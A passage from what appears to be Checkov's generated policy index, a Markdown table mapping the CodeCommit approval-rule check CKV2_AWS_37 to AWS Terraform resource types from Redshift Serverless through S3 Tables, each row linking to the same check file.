Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2002 | CKV2_AWS_37 | resource | aws_redshiftserverless_resource_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2003 | CKV2_AWS_37 | resource | aws_redshiftserverless_snapshot | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2004 | CKV2_AWS_37 | resource | aws_redshiftserverless_usage_limit | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2005 | CKV2_AWS_37 | resource | aws_redshiftserverless_workgroup | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2006 | CKV2_AWS_37 | resource | aws_region_info | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2007 | CKV2_AWS_37 | resource | aws_rekognition_collection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2008 | CKV2_AWS_37 | resource | aws_rekognition_project | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2009 | CKV2_AWS_37 | resource | aws_rekognition_stream_processor | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2010 | CKV2_AWS_37 | resource | aws_resiliencehub_resiliency_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2011 | CKV2_AWS_37 | resource | aws_resourceexplorer2_index | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2012 | CKV2_AWS_37 | resource | aws_resourceexplorer2_view | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2013 | CKV2_AWS_37 | resource | aws_resourcegroups_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2014 | CKV2_AWS_37 | resource | aws_resourcegroups_resource | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2015 | CKV2_AWS_37 | resource | aws_rolesanywhere_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2016 | CKV2_AWS_37 | resource | aws_rolesanywhere_trust_anchor | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2017 | CKV2_AWS_37 | resource | aws_root | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2018 | CKV2_AWS_37 | resource | aws_root_access_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2019 | CKV2_AWS_37 | resource | aws_route | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2020 | CKV2_AWS_37 | resource | aws_route53_cidr_collection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2021 | CKV2_AWS_37 | resource | aws_route53_cidr_location | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2022 | CKV2_AWS_37 | resource | aws_route53_delegation_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2023 | CKV2_AWS_37 | resource | aws_route53_health_check | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2024 | CKV2_AWS_37 | resource | aws_route53_hosted_zone_dnssec | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2025 | CKV2_AWS_37 | resource | aws_route53_key_signing_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2026 | CKV2_AWS_37 | resource | aws_route53_query_log | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2027 | CKV2_AWS_37 | resource | aws_route53_record | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2028 | CKV2_AWS_37 | resource | aws_route53_resolver_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2029 | CKV2_AWS_37 | resource | aws_route53_resolver_dnssec_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2030 | CKV2_AWS_37 | resource | aws_route53_resolver_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2031 | CKV2_AWS_37 | resource | aws_route53_resolver_firewall_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2032 | CKV2_AWS_37 | resource | aws_route53_resolver_firewall_domain_list | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2033 | CKV2_AWS_37 | resource | aws_route53_resolver_firewall_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2034 | CKV2_AWS_37 | resource | aws_route53_resolver_firewall_rule_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2035 | CKV2_AWS_37 | resource | aws_route53_resolver_firewall_rule_group_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2036 | CKV2_AWS_37 | resource | aws_route53_resolver_query_log_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2037 | CKV2_AWS_37 | resource | aws_route53_resolver_query_log_config_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2038 | CKV2_AWS_37 | resource | aws_route53_resolver_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2039 | CKV2_AWS_37 | resource | aws_route53_resolver_rule_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2040 | CKV2_AWS_37 | resource | aws_route53_traffic_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2041 | CKV2_AWS_37 | resource | aws_route53_traffic_policy_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2042 | CKV2_AWS_37 | resource | aws_route53_vpc_association_authorization | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2043 | CKV2_AWS_37 | resource | aws_route53_zone | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2044 | CKV2_AWS_37 | resource | aws_route53_zone_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2045 | CKV2_AWS_37 | resource | aws_route53domains_delegation_signer_record | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2046 | CKV2_AWS_37 | resource | aws_route53domains_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2047 | CKV2_AWS_37 | resource | aws_route53domains_registered_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2048 | CKV2_AWS_37 | resource | aws_route53profiles_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2049 | CKV2_AWS_37 | resource | aws_route53profiles_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2050 | CKV2_AWS_37 | resource | aws_route53profiles_resource_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2051 | CKV2_AWS_37 | resource | aws_route53recoverycontrolconfig_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2052 | CKV2_AWS_37 | resource | aws_route53recoverycontrolconfig_control_panel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2053 | CKV2_AWS_37 | resource | aws_route53recoverycontrolconfig_routing_control | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2054 | CKV2_AWS_37 | resource | aws_route53recoverycontrolconfig_safety_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2055 | CKV2_AWS_37 | resource | aws_route53recoveryreadiness_cell | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2056 | CKV2_AWS_37 | resource | aws_route53recoveryreadiness_readiness_check | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2057 | CKV2_AWS_37 | resource | aws_route53recoveryreadiness_recovery_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2058 | CKV2_AWS_37 | resource | aws_route53recoveryreadiness_resource_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2059 | CKV2_AWS_37 | resource | aws_route_table | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2060 | CKV2_AWS_37 | resource | aws_route_table_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2061 | CKV2_AWS_37 | resource | aws_rum_app_monitor | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2062 | CKV2_AWS_37 | resource | aws_rum_metrics_destination | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2063 | CKV2_AWS_37 | resource | aws_s3_access_point | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2064 | CKV2_AWS_37 | resource | aws_s3_account_public_access_block | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2065 | CKV2_AWS_37 | resource | aws_s3_bucket | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2066 | CKV2_AWS_37 | resource | aws_s3_bucket_accelerate_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2067 | CKV2_AWS_37 | resource | aws_s3_bucket_acl | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2068 | CKV2_AWS_37 | resource | aws_s3_bucket_analytics_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2069 | CKV2_AWS_37 | resource | aws_s3_bucket_cors_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2070 | CKV2_AWS_37 | resource | aws_s3_bucket_intelligent_tiering_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2071 | CKV2_AWS_37 | resource | aws_s3_bucket_inventory | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2072 | CKV2_AWS_37 | resource | aws_s3_bucket_lifecycle_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2073 | CKV2_AWS_37 | resource | aws_s3_bucket_logging | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2074 | CKV2_AWS_37 | resource | aws_s3_bucket_metric | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2075 | CKV2_AWS_37 | resource | aws_s3_bucket_notification | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2076 | CKV2_AWS_37 | resource | aws_s3_bucket_object | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2077 | CKV2_AWS_37 | resource | aws_s3_bucket_object_lock_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2078 | CKV2_AWS_37 | resource | aws_s3_bucket_ownership_controls | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2079 | CKV2_AWS_37 | resource | aws_s3_bucket_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2080 | CKV2_AWS_37 | resource | aws_s3_bucket_public_access_block | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2081 | CKV2_AWS_37 | resource | aws_s3_bucket_replication_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2082 | CKV2_AWS_37 | resource | aws_s3_bucket_request_payment_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2083 | CKV2_AWS_37 | resource | aws_s3_bucket_server_side_encryption_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2084 | CKV2_AWS_37 | resource | aws_s3_bucket_versioning | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2085 | CKV2_AWS_37 | resource | aws_s3_bucket_website_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2086 | CKV2_AWS_37 | resource | aws_s3_directory_bucket | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2087 | CKV2_AWS_37 | resource | aws_s3_object | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2088 | CKV2_AWS_37 | resource | aws_s3_object_copy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2089 | CKV2_AWS_37 | resource | aws_s3control_access_grant | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2090 | CKV2_AWS_37 | resource | aws_s3control_access_grants_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2091 | CKV2_AWS_37 | resource | aws_s3control_access_grants_instance_resource_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2092 | CKV2_AWS_37 | resource | aws_s3control_access_grants_location | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2093 | CKV2_AWS_37 | resource | aws_s3control_access_point_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2094 | CKV2_AWS_37 | resource | aws_s3control_bucket | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2095 | CKV2_AWS_37 | resource | aws_s3control_bucket_lifecycle_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2096 | CKV2_AWS_37 | resource | aws_s3control_bucket_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2097 | CKV2_AWS_37 | resource | aws_s3control_multi_region_access_point | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2098 | CKV2_AWS_37 | resource | aws_s3control_multi_region_access_point_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2099 | CKV2_AWS_37 | resource | aws_s3control_object_lambda_access_point | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2100 | CKV2_AWS_37 | resource | aws_s3control_object_lambda_access_point_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2101 | CKV2_AWS_37 | resource | aws_s3control_storage_lens_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2102 | CKV2_AWS_37 | resource | aws_s3outposts_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2103 | CKV2_AWS_37 | resource | aws_s3tables_namespace | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2104 | CKV2_AWS_37 | resource | aws_s3tables_table | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2105 | CKV2_AWS_37 | resource | aws_s3tables_table_bucket | Ensure CodeCommit associates an approval rule | Terraform | 